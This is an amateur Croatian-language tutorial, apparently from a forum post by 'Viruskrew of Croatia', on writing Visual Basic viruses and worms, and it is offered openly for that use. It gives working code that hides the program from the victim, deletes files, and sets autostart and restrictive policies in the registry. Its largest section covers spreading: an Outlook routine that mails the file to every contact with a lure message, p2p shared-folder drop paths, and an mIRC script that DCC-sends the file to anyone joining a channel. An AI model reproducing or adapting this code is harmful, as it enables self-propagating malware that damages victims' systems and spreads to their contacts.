===============================================================
Ja nisam baš neki odlični programer. Ali nešto ipak znam. Odlučio sam se napisati mali tutorić za VB viruse/crve neki djelovi u tekstu nisu izvorno moji a neki jesu. Ovaj tutor nije neki stručni nego ajmo reć amaterski. Tutor je namjenjen ljudima koji se interesiraju za kodiranje vira/worma u VB. Ne odgovaram za moguću štetu koja može nastati korištenjem sadržaja tutora.
1.Početak projekta „Virus“
Ja osobno pri početku pisanja (pravljenja) virusa/crva postavljam neka svojstva i karakteristike. U to spada: Skrivanje forme, skrivnje u task menegeru... obrada pogreške (u ovom slučaju prelazak preko pogreške) itd.
Skrivanje forme je jednostavno potrebno da žrtva kad pokrene virus u prvom trenutku ne vidi da je pokrenula neku aplikaciju. Ja za to koristim naredbu:
Me.Hide
Znači sad vi c/p ovaj kod u vaš projekt i pokrenite sad projekt i vidite kako to izgleda.. (ako ne znate kako se pokreće pritisnite F5) i vidite kako se sad ponaša... Znači sad ne vidite formu...
Skrivanje u task menegeru je isto korisno s ovim kad žrtva ode u u task menegeru u Applications –ima ne vidi da je pokrenut vir ali u processima vidi...
Znači za skrivanje vira u task menegeru koristimo sljedeći kod:
App.TaskVisible = False
I ovaj kod c/p u vaš projekt i opet pogledajte kako radi... Odlično zar ne?
Obrada greške (u ovom slučaju prelazak) ovo je isto jako korisno npr. Nastane neka nepoznata greška u kodu i pomoću obrade greške (prelaska) ona se ne vidi drugim riječima pređe se preko nje kao da je nema...
Za to je naredba:
On error resume next
Znači i ovo vam dobro dođe u kodu.. Također c/p u vaš projekt...
2.Funkcije i pozivanje
Ovdje ću objasnit kako možete rasporedit vaše naredbe u posebne funkcije (tako će mo ih nazvat) i pozivat ih pomoću tih funkcija.
Meni je osobno preglednije i bolje koristit više funkcija u koje su raspoređene naredbe (kodovi). Funkcije pozivate iz
Private Sub Form_Load()
End sub
Jer se u on pokreće pri pokretanju aplikacije. Jedan primjer:
U primjeru ću pokazati pozivanje funkcije u kojoj će bit naredbe koje smo naučili u prošlom poglavlju.
Private Sub Form_Load()
ES
End sub
Private Sub ES()
On error resume next
Me.hide
App.TaskVisible = False
End sub
Znači s ovim sam primjerom pokazao kako pozivat drugu funkciju u kojoj je kod.. znači poziva se s imenom u ovom slučaju ES a možete uporabit i:
Private Sub Form_Load()
Call ES
End sub
Private Sub ES()
On error resume next
Me.hide
App.TaskVisible = False
End sub
Onda možemo koristit i malo kraći put kod imenovanja funkcije npr.
Sub ES()
On error resume next
Me.hide
App.TaskVisible = False
End sub
kao što vidite uklonili samo ono “Private“... bez “Private” radi isto ko s njim... Ima dosta tih načina pozivanja ali nama je za sad dosta ovaj jedan...
3.Brisanje fajlova
Ovo je također vrlo dobro... Za brisanje fajlova i foldera imate više naredbi (kodova) ja za brisanje fajloa koristim naredbu:
Kill
Ovako izgleda jedan primjer:
Kill “C:\ES.exe”
Znači ovaj kod kad se pokrene briše na C disku fajl koji se zove ES.exe
Brisat fajlove možemo s više metoda još jedna je:
Dim Fso
Set Fso = CreateObject("Scripting.FileSystemObject")
fso.DeleteFile("C:\ES.exe")
I ovaj kod kao i prethodni briše fajl na C disku...
4.Pravljenje foldera
Ova nije baš potrebno u pravljenju vira/crva ali ću isto spomenuti. Folder pravimo naredbom:
Mkdir
Evo jedan primjer:
Mkdir “"C:\ES“
Znači s ovim pravimo folder...
5.Kopiranje fajlova
Ovo je vrlo dobro... Kopija od virusa može u dosta stvari dobro doći... Ja se osobno za kopiranje koristim narebom...
FileCopy App.Path + "\" + App.EXEName + ".exe", "C:\ES.exe"
Znači s ovom naredbom se naš virus kopira na C disk pod imenom ES.exe
6.Registry
S Registrijem možete mnogo toga...Samo malo trebate čeprkati po registriju. Ali prije čeprkanja napravite beckup...
Sad ću vam dati nekolka primjera kako zapisivati u registri...
Set wsc = CreateObject("WScript.Shell")
wsc.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", "1"
Mislim da ne moram objašnjavat kod...
7.Startup
Startup je nužan u svakome virusu... Imate nekolike mogućnosti pravljenja stratup-a ja se koristim s dvije metode a to su putem Registrija koji izgleda ovako:
Set Reg = CreateObject("wscript.shell")
Reg.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
A druga metoda je kopiranje u Startup folder... A to možete sami iskombinirati tako da koritite naredbu za kopiranje koju ste već naučili i stavite joj putanju do stratup foldera.
8.Širenje
Ovo je dosta komplicirano imate dosta vrsta širenja npr. Mail, P2p ,Mirc, Pirch itd.. Mirc i Pirch metode su već zastarijele plus to mirc ne dopušta da se šalju .exe , .scr . .bat i još neki fajlove. Ja ću vam dati primjer za neke od tih širenja:
Set OutlookApp = CreateObject("Outlook.Application")
If Not OutlookApp = "" Then
For Each ContactSwitch In OutlookApp.GetNameSpace("MAPI").AddressLists
For UserGroup = 1 To ContactSwitch.AddressEntries.Count
Set OutlookEmail = OutlookApp.CreateItem(0)
OutlookEmail.Recipients.Add ContactSwitch.AddressEntries(UserGroup)
OutlookEmail.Subject = "Check this out!"
OutlookEmail.Body = "Look at the file in the attachments, It's great! :P"
OutlookEmail.Attachments.Add WScript.ScriptFullName
OutlookEmail.DeleteAfterSubmit = True
OutlookEmail.Send
Next
Next
End If
Ko što možete vidit ovo je mail širenje (jednostavno) imate i još mogućnosti širenja preko maila ali ja o tome ne ću (ne znam baš) Možete ovaj kod prilagodit vašim potrebama... Znači možete mijenjati:
OutlookEmail.Subject = "Check this out!"
OutlookEmail.Body = "Look at the file in the attachments, It's great! :P"
OutlookEmail.Attachments.Add WScript.ScriptFullName
Ovo što piše za Attachments znači da on daje samog sebe kao attechment (virus) al ii to možete mijenjati.
P2p širenje rdai na principu da se virus iskopira u foldere p2p programa.. Mislim da znate kako se to treba napravit... Evo vam lokacija foldera u koje trebate da iskopirate vaš virus:
C: \ Program Files\KMD\My Shared Folder
C: \ Program Files\Kazaa\My Shared Folder
C: \ Program Files\KaZaA Lite\My Shared Folder
C: \ Program Files\Morpheus\My Shared Folder
C: \ Program Files\Grokster\My Grokster
C: \ Program Files\BearShare\Shared
C: \ Program Files\Edonkey2000\Incoming
Mirc kao što sam već rekao je već zastario ali evo vam kod... Ja sam stavio da šalje .exe ali to u praksi ne rdai jer mirc ne dopušta da se taj tip fajla šalje...
FileCopy App.Path + "\" + App.EXEName + ".exe", C:\mIRC.exe"
Open “C:\script.ini" For Output As 1
Print #1, "[script]"
Print #1, "n1=on 1:JOIN:#:{"
Print #1, "n2= /if ( $nick == $me ) { halt }"
Print #1, "n3= /msg $nick Hi!I know all yours secrets!Check this file!"
Print #1, "n4= /dcc send -c $nick " & "\mIRC.exe"
Print #1, "n5= }"
Close 1
Znači tu morate još iskopirati fajl koji hoćete da se šalje...
Pirch je slično ko mirc ali ni o tome sad ne ću...
===============================================================
Nadam se da sam bar nekom s ovim pomogao. Ja zahvaljujem svima koji su meni pomagali i znam kako je to... Sva pitanja u vezi ovog postujte tu... Planiram i napravit još jedno izdanje ovog tutora...
Viruskrew of Croatia
Pozdrav svima...